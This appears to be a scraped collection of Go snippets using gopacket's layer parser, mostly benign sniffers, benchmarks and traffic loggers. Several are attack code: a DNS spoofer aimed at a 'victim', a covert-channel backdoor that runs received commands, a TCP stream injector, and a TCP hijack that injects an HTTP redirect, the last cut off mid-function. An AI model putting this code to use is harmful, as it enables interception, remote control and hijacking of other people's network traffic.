func BenchmarkDecodeToDNS(b *testing.B) { var ethLayer layers.Ethernet var ipLayer layers.IPv4 var udpLayer layers.UDP var tcpLayer layers.TCP var dns layers.DNS var payload gopacket.Payload parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ðLayer, &ipLayer, &udpLayer, &tcpLayer, &dns, &payload, ) foundLayerTypes := []gopacket.LayerType{} packetSource := getPacketData("a") packetSource.DecodeOptions.Lazy = true packet := <-packetSource.Packets() b.ResetTimer() for i := 0; i < b.N; i++ { parser.DecodeLayers(packet.Data(), &foundLayerTypes) } }
/* FUNCTION: mangleDNS(){ RETURNS: Nothing ARGUMENTS: None ABOUT: Performs the DNS spoofing against the victims machine. Sets all dns traffic to redirect to the host machines IP address. */ func mangleDNS() { var ethernetLayer layers.Ethernet var ipLayer layers.IPv4 var dnsLayer layers.DNS var udpLayer layers.UDP decoder := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ðernetLayer, &ipLayer, &udpLayer, &dnsLayer) decoded := make([]gopacket.LayerType, 0, 4) packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for { packet, err := packetSource.NextPacket() checkError(err) err = decoder.DecodeLayers(packet.Data(), &decoded) checkError(err) if len(decoded) != 4 { fmt.Print("Not enough layers\n") continue } buffer := craftAnswer(ðernetLayer, &ipLayer, &dnsLayer, &udpLayer) if buffer == nil { // if original query was invalid fmt.Print("Buffer error, returned nil.\n") continue } err = handle.WritePacketData(buffer) checkError(err) } }
func (i *Sniffer) decodePackets() { var eth layers.Ethernet var ip layers.IPv4 var tcp layers.TCP var payload gopacket.Payload parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &ip, &tcp, &payload) decoded := make([]gopacket.LayerType, 0, 4) for { select { case <-i.stopDecodeChan: return case timedRawPacket := <-i.decodePacketChan: newPayload := new(gopacket.Payload) payload = *newPayload err := parser.DecodeLayers(timedRawPacket.RawPacket, &decoded) if err != nil { continue } flow := types.NewTcpIpFlowFromFlows(ip.NetworkFlow(), tcp.TransportFlow()) packetManifest := types.PacketManifest{ Timestamp: timedRawPacket.Timestamp, Flow: flow, RawPacket: timedRawPacket.RawPacket, IP: ip, TCP: tcp, Payload: payload, } i.dispatcher.ReceivePacket(&packetManifest) } } }
func (b *Bridge) snooper() { var ( dot1q layers.Dot1Q eth layers.Ethernet ip4 layers.IPv4 ip6 layers.IPv6 arp layers.ARP ) parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &dot1q, ð, &ip4, &ip6, &arp, ) decodedLayers := []gopacket.LayerType{} for { data, _, err := b.handle.ReadPacketData() if err != nil { if err != io.EOF { log.Error("error reading packet data: ", err) } break } if err := parser.DecodeLayers(data, &decodedLayers); err != nil { if err2, ok := err.(gopacket.UnsupportedLayerType); ok { switch gopacket.LayerType(err2) { case layers.LayerTypeICMPv6, gopacket.LayerTypePayload: // ignore err = nil default: continue } } if err != nil { log.Error("error parsing packet: %v", err) continue } } for _, layerType := range decodedLayers { switch layerType { case layers.LayerTypeICMPv6: b.updateIP(eth.SrcMAC.String(), ip6.SrcIP) case layers.LayerTypeARP: b.updateIP(eth.SrcMAC.String(), net.IP(arp.SourceProtAddress)) } } } log.Info("%v snoop out", b.Name) }
func NewMetroDecoder() *MetroDecoder { d := &MetroDecoder{ decoded: make([]gopacket.LayerType, 0, 4), } d.parser = gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &d.eth, &d.dot1q, &d.ip4, &d.ip6, &d.ip6extensions, &d.tcp, &d.payload) return d }
func NewSession(c Config) *Session { s := &Session{ Config: c, streams: map[streamID]*stream{}, nextCleaning: time.Now().Add(cleanInterval), } s.source = gopacket.NewPacketSource(s.Handle, s.Handle.LinkType()) s.parser = gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &s.eth, &s.ip4, &s.ip6, &s.tcp, &s.payload) return s }
func (pd *packetData) Parse() error { if pd.datatype == "tcp" { pd.dns = &layers.DNS{} pd.payload = &gopacket.Payload{} //for parsing the reassembled TCP streams dnsParser := gopacket.NewDecodingLayerParser( layers.LayerTypeDNS, pd.dns, pd.payload, ) dnsParser.DecodeLayers(pd.tcpdata.DnsData, &pd.foundLayerTypes) return nil } else if pd.datatype == "packet" { pd.ethLayer = &layers.Ethernet{} pd.ipLayer = &layers.IPv4{} pd.udpLayer = &layers.UDP{} pd.tcpLayer = &layers.TCP{} pd.dns = &layers.DNS{} pd.payload = &gopacket.Payload{} //we're constraining the set of layer decoders that gopacket will apply //to this traffic. this MASSIVELY speeds up the parsing phase parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, pd.ethLayer, pd.ipLayer, pd.udpLayer, pd.tcpLayer, pd.dns, pd.payload, ) parser.DecodeLayers(pd.packet.Data(), &pd.foundLayerTypes) return nil } else { return errors.New("Bad packet type: " + pd.datatype) } }
// SequenceFromPacket returns a Sequence number and nil error if the given // packet is able to be parsed. Otherwise returns 0 and an error. func SequenceFromPacket(packet []byte) (uint32, error) { var ip layers.IPv4 var tcp layers.TCP decoded := []gopacket.LayerType{} parser := gopacket.NewDecodingLayerParser(layers.LayerTypeIPv4, &ip, &tcp) err := parser.DecodeLayers(packet, &decoded) if err != nil { return 0, err } return tcp.Seq, nil }
// New returns a new sniffing reporter that samples traffic by turning its // packet capture facilities on and off. Note that the on and off durations // represent a way to bound CPU burn. Effective sample rate needs to be // calculated as (packets decoded / packets observed). func New(hostID string, localNets report.Networks, src gopacket.ZeroCopyPacketDataSource, on, off time.Duration) *Sniffer { s := &Sniffer{ hostID: hostID, localNets: localNets, reports: make(chan chan report.Report), } s.parser = gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, &s.eth, &s.ip4, &s.ip6, &s.tcp, &s.udp, &s.icmp4, &s.icmp6, ) go s.loop(src, on, off) return s }
// getPacketFlow returns a TcpIpFlow struct given a byte array packet func NewTcpIpFlowFromPacket(packet []byte) (*TcpIpFlow, error) { var ip layers.IPv4 var tcp layers.TCP decoded := []gopacket.LayerType{} parser := gopacket.NewDecodingLayerParser(layers.LayerTypeIPv4, &ip, &tcp) err := parser.DecodeLayers(packet, &decoded) if err != nil { return &TcpIpFlow{}, err } return &TcpIpFlow{ ipFlow: ip.NetworkFlow(), tcpFlow: tcp.TransportFlow(), }, nil }
// Listen in an infinite loop for new packets func Listen(config *Config) error { // Array to store which layers were decoded decoded := []gopacket.LayerType{} // Faster, predefined layer parser that doesn't make copies of the layer slices parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ð, &ip, &tcp, &udp, &icmp, &dns, &payload) // Infinite loop that reads incoming packets for config.isRunning { data, ci, err := config.sniffer.ReadPacket() if err != nil { log.Printf("Error getting packet: %v %s", err, ci) continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("Error decoding packet: %v", err) continue } if len(decoded) == 0 { log.Print("Packet contained no valid layers") continue } // Example of how to get data out of specific layers for _, layerType := range decoded { switch layerType { case layers.LayerTypeIPv4: log.Printf("src: %v, dst: %v, proto: %v", ip.SrcIP, ip.DstIP, ip.Protocol) } } if config.pcapWriter != nil { config.pcapWriter.WritePacket(ci, data) } } return nil }
func setupSpoofingSocket(config Config) { var err error ipv4Parser = gopacket.NewDecodingLayerParser(layers.LayerTypeIPv4, &ipv4Layer) handle, err = pcap.OpenLive(config.Device, 1024, false, 30*time.Second) if err != nil { panic(err) } srcBytes, _ := hex.DecodeString(config.Src) dstBytes, _ := hex.DecodeString(config.Dst) linkHeader = append(dstBytes, srcBytes...) linkHeader = append(linkHeader, 0x08, 0) // IPv4 EtherType // var ipv6Layer layers.ipv6 // ipv6Parser := gopacket.NewDecodingLayerParser(layers.LayerTypeIPv6, &ipv6Layer) }
func main() { //get local ip localip, err := checkLocalip(device) // Open device handle, err = pcap.OpenLive(device, snapshot_len, promiscuous, timeout) if err != nil { log.Fatal(err) } defer handle.Close() packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ðLayer, &ipLayer, &tcpLayer, ) foundLayerTypes := []gopacket.LayerType{} err := parser.DecodeLayers(packet.Data(), &foundLayerTypes) if err != nil { fmt.Println("Trouble decoding layers: ", err) } for _, layerType := range foundLayerTypes { if layerType == layers.LayerTypeIPv4 { fmt.Println("IPV4 found") } if ipLayer.DstIP.String() == localip || ipLayer.SrcIP.String() == localip { fmt.Println("IPv4 go through this machine: ", ipLayer.SrcIP, "->", ipLayer.DstIP) applicationLayer := packet.ApplicationLayer() if strings.Contains(string(applicationLayer.Payload()), "HTTP") { fmt.Println("HTTP found!") fmt.Println("layer content", string(applicationLayer.LayerContents())) fmt.Println("layer payload", string(applicationLayer.Payload())) fmt.Println("layer type", string(applicationLayer.LayerType())) } } } } }
/* FUNCTION: fileWait(ip, filename string, lport uint16) RETURNS: Nothing ARGUMENTS: string ip - the ip address of the server string filename - the file we are waiting for uint16 lport - the port we're listening on ABOUT: Waits as a seperate thread for incoming file data on the lport + 1. Upon recieving a FSND_COMPLETE packet, saves the recieved file and shuts the thread down. */ func fileWait(ip, filename string, lport uint16) { var ipLayer layers.IPv4 var ethLayer layers.Ethernet var udpLayer layers.UDP var payload gopacket.Payload parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ðLayer, &ipLayer, &udpLayer, &payload) decoded := make([]gopacket.LayerType, 0, 4) fBuffer := new(bytes.Buffer) packetSource := gopacket.NewPacketSource(fhandle, fhandle.LinkType()) for { packet, err := packetSource.NextPacket() checkError(err) err = parser.DecodeLayers(packet.Data(), &decoded) if err != nil { continue } if len(decoded) < 3 { fmt.Println("Not enough layers!") continue } incomingIP := ipLayer.SrcIP.String() if incomingIP == ip && uint16(udpLayer.DstPort) == lport+1 { err = binary.Write(fBuffer, binary.BigEndian, MAX_PORT-uint16(udpLayer.SrcPort)) checkError(err) } else if incomingIP == ip && uint16(udpLayer.DstPort) == FSND_CMPLETE { data := decrypt_data(fBuffer.Bytes()) err := ioutil.WriteFile(filename, data, 0644) checkError(err) fmt.Printf("File transfer %s completed. Transfered: %d bytes", filename, fBuffer.Len()) return } } }
func BenchmarkDecodeToIP(b *testing.B) { var ethLayer layers.Ethernet var ipLayer layers.IPv4 parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ðLayer, &ipLayer, ) foundLayerTypes := []gopacket.LayerType{} packetSource := getPacketData("a") packetSource.DecodeOptions.Lazy = true packet := <-packetSource.Packets() b.ResetTimer() for i := 0; i < b.N; i++ { parser.DecodeLayers(packet.Data(), &foundLayerTypes) } }
func (s *SloppyTrace) CollectProbes() { var eth layers.Ethernet var ip layers.IPv4 var tcp layers.TCP var payload gopacket.Payload log.Print("probe collection started") handle, err := pcap.OpenLive(s.Interface, int32(s.Snaplen), true, pcap.BlockForever) if err != nil { log.Fatal("error opening pcap handle: ", err) } if err = handle.SetBPFFilter(s.CollectBPF); err != nil { log.Fatal("error setting BPF filter: ", err) } parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &ip, &tcp, &payload) decoded := make([]gopacket.LayerType, 0, 4) for { data, ci, err := handle.ZeroCopyReadPacketData() if err != nil { log.Printf("error getting packet: %v %s", err, ci) continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } flow := NewTcpIpFlowFromLayers(ip, tcp) log.Printf("packet flow %s\n", flow) log.Printf("IP TTL %d\n", ip.TTL) } // XXX log.Print("probe collection neverending?") }
func benchmarkLayerDecode(source *BufferPacketSource, assemble bool) { var tcp layers.TCP var ip layers.IPv4 var eth layers.Ethernet var udp layers.UDP var icmp layers.ICMPv4 var payload gopacket.Payload parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ð, &ip, &icmp, &tcp, &udp, &payload) pool := tcpassembly.NewStreamPool(&streamFactory{}) assembler := tcpassembly.NewAssembler(pool) var decoded []gopacket.LayerType start := time.Now() packets, decodedlayers, assembled := 0, 0, 0 for { packets++ data, ci, err := source.ReadPacketData() if err == io.EOF { break } else if err != nil { fmt.Println("Error reading packet: ", err) continue } err = parser.DecodeLayers(data, &decoded) for _, typ := range decoded { decodedlayers++ if typ == layers.LayerTypeTCP && assemble { assembled++ assembler.AssembleWithTimestamp(ip.NetworkFlow(), &tcp, ci.Timestamp) } } } if assemble { assembler.FlushAll() } duration := time.Since(start) fmt.Printf("\tRead in %d packets in %v, decoded %v layers, assembled %v packets: %v per packet\n", packets, duration, decodedlayers, assembled, duration/time.Duration(packets)) }
func (b PCAPBackend) ExtractIps(reader io.Reader, ips *ipset.Set) (uint64, error) { packets := uint64(0) pr, err := pcapgo.NewReader(reader) if err != nil { return 0, err } var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var ip6 layers.IPv6 var tcp layers.TCP parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &ip6, &tcp) decoded := []gopacket.LayerType{} for { packetData, _, err := pr.ReadPacketData() packets++ if err == io.EOF { break } if err != nil { return packets, err } err = parser.DecodeLayers(packetData, &decoded) for _, layerType := range decoded { switch layerType { case layers.LayerTypeIPv6: ips.AddIP(ip6.SrcIP) ips.AddIP(ip6.DstIP) case layers.LayerTypeIPv4: ips.AddIP(ip4.SrcIP) ips.AddIP(ip4.DstIP) } } } return packets, nil }
func main() { // Open device handle, err = pcap.OpenLive(device, snapshot_len, promiscuous, timeout) if err != nil { log.Fatal(err) } defer handle.Close() packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { // Do something with a packet here. parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ðLayer, &ipLayer, &tcpLayer, ) decoded := []gopacket.LayerType{} err := parser.DecodeLayers(packet.Data(), &decoded) if err != nil { fmt.Println("Trouble decoding layers: ", err) } for _, layerType := range decoded { if layerType == layers.LayerTypeIPv4 { fmt.Println("IPv4: ", ipLayer.SrcIP, "->", ipLayer.DstIP) } if layerType == layers.LayerTypeTCP { fmt.Println("TCP Port: ", tcpLayer.SrcPort, "->", tcpLayer.DstPort) fmt.Println("TCP SYN:", tcpLayer.SYN, " | ACK:", tcpLayer.ACK) } } } }
func handlePacket(packet gopacket.Packet) { var eth layers.Ethernet var ip4 layers.IPv4 var udp layers.UDP var payload gopacket.Payload parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &ip4, &udp, &payload) decoded := []gopacket.LayerType{} err := parser.DecodeLayers(packet.Data(), &decoded) if err != nil { log.Printf("Decoding error:%v\n", err) } for _, layerType := range decoded { switch layerType { case layers.LayerTypeEthernet: fmt.Println(" Eth ", eth.SrcMAC, eth.DstMAC) case layers.LayerTypeIPv4: fmt.Println(" IP4 ", ip4.SrcIP, ip4.DstIP) case layers.LayerTypeUDP: fmt.Println(" UDP ", udp.SrcPort, udp.DstPort, payload.GoString()) } } }
func (s *Server) parsingReplies() { var eth layers.Ethernet var ip layers.IPv4 var icmp layers.ICMPv4 var payload gopacket.Payload icmpParser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &ip, &icmp, &payload) decoded := make([]gopacket.LayerType, 0, 4) go func() { s.wg.Done() defer close(s.receiveIcmpChan) for packet := range s.receiveParseChan { err := icmpParser.DecodeLayers(packet, &decoded) if err == nil { s.receiveIcmpChan <- PayloadIcmpIpLayer{ ip: ip, icmp: icmp, payload: payload, } } } }() }
func main() { defer util.Run()() var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var ip6 layers.IPv6 var ip6extensions layers.IPv6ExtensionSkipper var tcp layers.TCP var payload gopacket.Payload decoded := make([]gopacket.LayerType, 0, 4) // target/track all TCP flows from this TCP/IP service endpoint trackedFlows := make(map[types.TcpIpFlow]int) serviceIP := net.ParseIP(*serviceIPstr) if serviceIP == nil { panic(fmt.Sprintf("non-ip target: %q\n", serviceIPstr)) } serviceIP = serviceIP.To4() if serviceIP == nil { panic(fmt.Sprintf("non-ipv4 target: %q\n", serviceIPstr)) } streamInjector := attack.TCPStreamInjector{} err := streamInjector.Init("0.0.0.0") if err != nil { panic(err) } streamInjector.Payload = []byte("meowmeowmeow") handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { log.Fatal("error opening pcap handle: ", err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal("error setting BPF filter: ", err) } parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &ip6, &ip6extensions, &tcp, &payload) flow := &types.TcpIpFlow{} log.Print("collecting packets...\n") for { data, ci, err := handle.ZeroCopyReadPacketData() if err != nil { log.Printf("error getting packet: %v %s", err, ci) continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } // if we see a flow coming from the tcp/ip service we are watching // then track how many packets we receive from each flow if tcp.SrcPort == layers.TCPPort(*servicePort) && ip4.SrcIP.Equal(serviceIP) { flow = types.NewTcpIpFlowFromLayers(ip4, tcp) _, isTracked := trackedFlows[*flow] if isTracked { trackedFlows[*flow] += 1 } else { trackedFlows[*flow] = 1 } } else { continue } // after 3 packets from a given flow then inject packets into the stream if trackedFlows[*flow]%10 == 0 { err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.SpraySequenceRangePackets(tcp.Seq, 20) if err != nil { panic(err) } log.Print("packet spray sent!\n") } } }
"sync" "github.com/google/gopacket" "github.com/google/gopacket/layers" ) var ( eth layers.Ethernet ip4 layers.IPv4 ip6 layers.IPv6 icmp4 layers.ICMPv4 icmp6 layers.ICMPv6 tcp layers.TCP udp layers.UDP parser = gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ð, &ip4, &ip6, &icmp4, &icmp6, &tcp, &udp) decoded = []gopacket.LayerType{} lock sync.Mutex ) func Dissect(dissect bool, data []byte) { lock.Lock() if dissect { parser.DecodeLayers(data, &decoded) for _, typ := range decoded { switch typ { case layers.LayerTypeEthernet: fmt.Println(gopacket.LayerString(ð)) case layers.LayerTypeIPv4:
/* FUNCTION: beginListen(ip string, port, lport uint16) RETURNS: Nothing ARGUMENTS: string ip : the ip address of the server uint16 port : port to send data to uint16 lport : port to listen for data on ABOUT: Intiates the listen loop of the program for both the client and server. Will perform differently based on the user specified mode. */ func beginListen(ip string, port, lport uint16) { var ipLayer layers.IPv4 var ethLayer layers.Ethernet var udpLayer layers.UDP var payload gopacket.Payload parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ðLayer, &ipLayer, &udpLayer, &payload) decoded := make([]gopacket.LayerType, 0, 4) buffer := new(bytes.Buffer) packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for { packet, err := packetSource.NextPacket() checkError(err) err = parser.DecodeLayers(packet.Data(), &decoded) if err != nil { continue } if len(decoded) < 3 { fmt.Println("Not enough layers!") continue } incomingIP := ipLayer.SrcIP.String() if pType == CLIENT { if incomingIP == ip { switch uint16(udpLayer.DstPort) { case lport: err = binary.Write(buffer, binary.BigEndian, MAX_PORT-uint16(udpLayer.SrcPort)) checkError(err) break case SND_CMPLETE: data := decrypt_data(buffer.Bytes()) fmt.Print(string(data)) buffer.Reset() } } } else { if incomingIP == authenticatedAddr { switch uint16(udpLayer.DstPort) { case lport: err = binary.Write(buffer, binary.BigEndian, MAX_PORT-uint16(udpLayer.SrcPort)) checkError(err) break case SND_CMPLETE: strData := string(decrypt_data(buffer.Bytes())) if strings.HasPrefix(strData, "[EXEC]") { executeCommand(strData, incomingIP, port) } if strings.HasPrefix(strData, "[BD]") { executeServerCommand(strData, incomingIP, port) } buffer.Reset() } } else if uint16(udpLayer.DstPort) == lport { data := decrypt_data(udpLayer.Payload) if string(data) == passwd { fmt.Printf("Authcode recieved, opening communication with %s\n", incomingIP) authenticatedAddr = incomingIP sendEncryptedData(port, "Authentication code verified!\n", ip, CMD) } } } } }
func NewEthernetDecoder() *EthernetDecoder { dec := &EthernetDecoder{} dec.parser = gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &dec.Eth, &dec.IP) return dec }
func main() { var ( device = flag.String("device", "eth0", "device to sniff") ) flag.Parse() const ( snaplen = 1024 * 1024 promisc = true timeout = pcap.BlockForever ) handle, err := pcap.OpenLive(*device, snaplen, promisc, timeout) if err != nil { log.Fatal(err) } go func() { time.Sleep(5 * time.Second) handle.Close() }() var ( eth layers.Ethernet ip4 layers.IPv4 ip6 layers.IPv6 tcp layers.TCP udp layers.UDP icmp4 layers.ICMPv4 icmp6 layers.ICMPv6 ) parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ð, &ip4, &ip6, &tcp, &udp, &icmp4, &icmp6, ) decoded := []gopacket.LayerType{} done := make(chan struct{}) go func() { defer close(done) for { data, ci, err := handle.ZeroCopyReadPacketData() if err == io.EOF { log.Print("read: EOF") return } if err != nil { log.Printf("read: %v", err) continue } log.Println(ci.Timestamp.String()) err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("Error in DecodeLayers: %v", err) continue } for _, t := range decoded { switch t { case layers.LayerTypeEthernet: log.Println(" Ethernet", eth.EthernetType, eth.SrcMAC, eth.DstMAC, eth.Length) case layers.LayerTypeIPv6: log.Println(" IP6", ip6.Version, ip6.SrcIP, ip6.DstIP, ip6.Length, ip6.TrafficClass) case layers.LayerTypeIPv4: log.Println(" IP4", ip4.Version, ip4.SrcIP, ip4.DstIP, ip4.Length, ip4.TTL, ip4.TOS) case layers.LayerTypeTCP: log.Println(" TCP", tcp.SrcPort, tcp.DstPort, tcp.Seq, tcp.Ack, tcp.Window) case layers.LayerTypeUDP: log.Println(" UDP", udp.SrcPort, udp.DstPort, udp.Length) case layers.LayerTypeICMPv4: log.Println(" ICMP4", icmp4.Id, icmp4.Seq) case layers.LayerTypeICMPv6: log.Println(" ICMP6") } } log.Println() } }() <-done }
// processor is a worker that decodes packets and passes on to Account and Log. func (c *Capture) processor(num int, packetsCh <-chan gopacket.Packet) { log.Printf("processor %d: starting", num) buffer := c.nextBuffer() defer func() { // TODO: Save a checkpoint. if c.Log != nil { c.Log(buffer) } }() var ( eth layers.Ethernet ip4 layers.IPv4 ip6 layers.IPv6 tcp layers.TCP udp layers.UDP dns layers.DNS payload gopacket.Payload ) parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &ip4, &ip6, &tcp, &udp, &dns, &payload) for packet := range packetsCh { var decoded []gopacket.LayerType if err := parser.DecodeLayers(packet.Data(), &decoded); err != nil { log.Printf("processor %d: %v", num, err) } m := packet.Metadata() b := Metadata{ Timestamp: m.Timestamp, Size: uint64(m.Length), } for _, layerType := range decoded { switch layerType { case layers.LayerTypeIPv6: b.SrcIP, b.DstIP = ip6.SrcIP, ip6.DstIP b.SrcName, b.DstName = c.revDNS.names(local(b.SrcIP, b.DstIP), ip6.NetworkFlow()) b.V6 = true case layers.LayerTypeIPv4: b.SrcIP, b.DstIP = ip4.SrcIP, ip4.DstIP b.SrcName, b.DstName = c.revDNS.names(local(b.SrcIP, b.DstIP), ip4.NetworkFlow()) case layers.LayerTypeTCP: b.SrcPort, b.DstPort = uint16(tcp.SrcPort), uint16(tcp.DstPort) case layers.LayerTypeUDP: b.SrcPort, b.DstPort = uint16(udp.SrcPort), uint16(udp.DstPort) case layers.LayerTypeDNS: // Add DNS answers to reverse DNS map. // The "src" is the host who did the query, but answers are replies, so "src" = dst. // Should be here only after b.DstIP is set. c.revDNS.add(b.DstIP, &dns) } } c.Account(&b) if c.Log != nil { buffer = append(buffer, b) if len(buffer) >= c.BufferSize { go c.logBuffer(buffer) buffer = c.nextBuffer() } } } log.Printf("processor %d: stopping", num) }
//kick off packet procesing threads and start the packet capture loop func doCapture(handle *pcap.Handle, logChan chan dnsLogEntry, config *pdnsConfig, reChan chan tcpDataStruct, stats *statsd.StatsdBuffer) { gcAgeDur, err := time.ParseDuration(config.gcAge) if err != nil { log.Fatal("Your gc_age parameter was not parseable. Use a string like '-1m'") } gcIntervalDur, err := time.ParseDuration(config.gcInterval) if err != nil { log.Fatal("Your gc_age parameter was not parseable. Use a string like '3m'") } //setup the global channel for reassembled TCP streams reassembleChan = reChan /* init channels for the packet handlers and kick off handler threads */ var channels []chan *packetData for i := 0; i < config.numprocs; i++ { channels = append(channels, make(chan *packetData, 100)) } for i := 0; i < config.numprocs; i++ { go handlePacket(channels[i], logChan, gcIntervalDur, gcAgeDur, i, stats) } // Use the handle as a packet source to process all packets packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) //only decode packet in response to function calls, this moves the //packet processing to the processing threads packetSource.DecodeOptions.Lazy = true //We don't mutate bytes of the packets, so no need to make a copy //this does mean we need to pass the packet via the channel, not a pointer to the packet //as the underlying buffer will get re-allocated packetSource.DecodeOptions.NoCopy = true /* parse up to the IP layer so we can consistently balance the packets across our processing threads TODO: in the future maybe pass this on the channel to so we don't reparse but the profiling I've done doesn't point to this as a problem */ var ethLayer layers.Ethernet var ipLayer layers.IPv4 parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ðLayer, &ipLayer, ) foundLayerTypes := []gopacket.LayerType{} CAPTURE: for { select { case reassembledTcp := <-reChan: pd := NewTcpData(reassembledTcp) channels[int(reassembledTcp.IpLayer.FastHash())&(config.numprocs-1)] <- pd if stats != nil { stats.Incr("reassembed_tcp", 1) } case packet := <-packetSource.Packets(): if packet != nil { parser.DecodeLayers(packet.Data(), &foundLayerTypes) if foundLayerType(layers.LayerTypeIPv4, foundLayerTypes) { pd := NewPacketData(packet) channels[int(ipLayer.NetworkFlow().FastHash())&(config.numprocs-1)] <- pd if stats != nil { stats.Incr("packets", 1) } } } else { //if we get here, we're likely reading a pcap and we've finished //or, potentially, the physical device we've been reading from has been //downed. Or something else crazy has gone wrong...so we break //out of the capture loop entirely. log.Debug("packetSource returned nil.") break CAPTURE } } } gracefulShutdown(channels, reChan, logChan) }
func main() { //Open redis client = redis.NewClient(&redis.Options{ Addr: "127.0.0.1:6379", Password: "******", // no password set DB: 0, // use default DB }) // Open device handle, err = pcap.OpenLive(device, snapshot_len, promiscuous, timeout) if err != nil { log.Fatal(err) } defer handle.Close() ief, _ := net.InterfaceByName(device) addrs, _ := ief.Addrs() ip := addrs[0].(*net.IPNet).IP var filter string = "src host " + ip.String() err = handle.SetBPFFilter(filter) if err != nil { log.Fatal(err) } fmt.Println("Only capturing src host " + ip.String()) go rewrite() packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ðLayer, &tcpLayer, &ipLayer, &udpLayer, ) foundLayerTypes := []gopacket.LayerType{} parser.DecodeLayers(packet.Data(), &foundLayerTypes) size_d := len(packet.Data()) size_f := float64(size_d) / 1048576.00 var port string fmt.Printf("Packet Size: %dB, %fMB\n", size_d, size_f) for _, layerType := range foundLayerTypes { if layerType == layers.LayerTypeIPv4 { fmt.Println("IPv4: ", ipLayer.SrcIP, "->", ipLayer.DstIP) } if layerType == layers.LayerTypeTCP { port = portfilter(tcpLayer.SrcPort.String()) fmt.Println("TCP Port: ", port, "->", portfilter(tcpLayer.DstPort.String())) } if layerType == layers.LayerTypeUDP { port = portfilter(udpLayer.SrcPort.String()) fmt.Println("UDP Port: ", port, "->", portfilter(udpLayer.DstPort.String())) } portint, err := strconv.Atoi(port) if err != nil { continue } if portint <= 10000 { continue } key := "port_" + port go cachekv(key, size_f) } fmt.Println() } }
func main() { defer util.Run()() var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var tcp layers.TCP var payload gopacket.Payload r := rand.New(rand.NewSource(time.Now().UnixNano())) hijackSeq := r.Uint32() decoded := make([]gopacket.LayerType, 0, 4) streamInjector := attack.TCPStreamInjector{} err := streamInjector.Init("0.0.0.0") if err != nil { panic(err) } handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { log.Fatal("error opening pcap handle: ", err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal("error setting BPF filter: ", err) } parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &tcp, &payload) log.Print("collecting packets...\n") for { data, ci, err := handle.ZeroCopyReadPacketData() if err != nil { log.Printf("error getting packet: %v %s", err, ci) continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } // craft a response to the client // here we reuse the client's header // by swapping addrs and ports // swap ip addrs srcip := ip4.SrcIP ip4.SrcIP = ip4.DstIP ip4.DstIP = srcip // swap ports srcport := tcp.SrcPort tcp.SrcPort = tcp.DstPort tcp.DstPort = srcport // empty payload for SYN/ACK handshake completion streamInjector.Payload = []byte("") seq := tcp.Seq tcp.Seq = hijackSeq tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.ACK = true tcp.SYN = true tcp.RST = false err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("SYN/ACK packet sent!\n") // send rediction payload redirect := []byte("HTTP/1.1 307 Temporary Redirect\r\nLocation: http://127.0.0.1/?\r\n\r\n") streamInjector.Payload = redirect tcp.PSH = true tcp.SYN = false tcp.ACK = true tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(1)) err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("redirect packet sent!\n") // send FIN streamInjector.Payload = []byte("") tcp.FIN = true 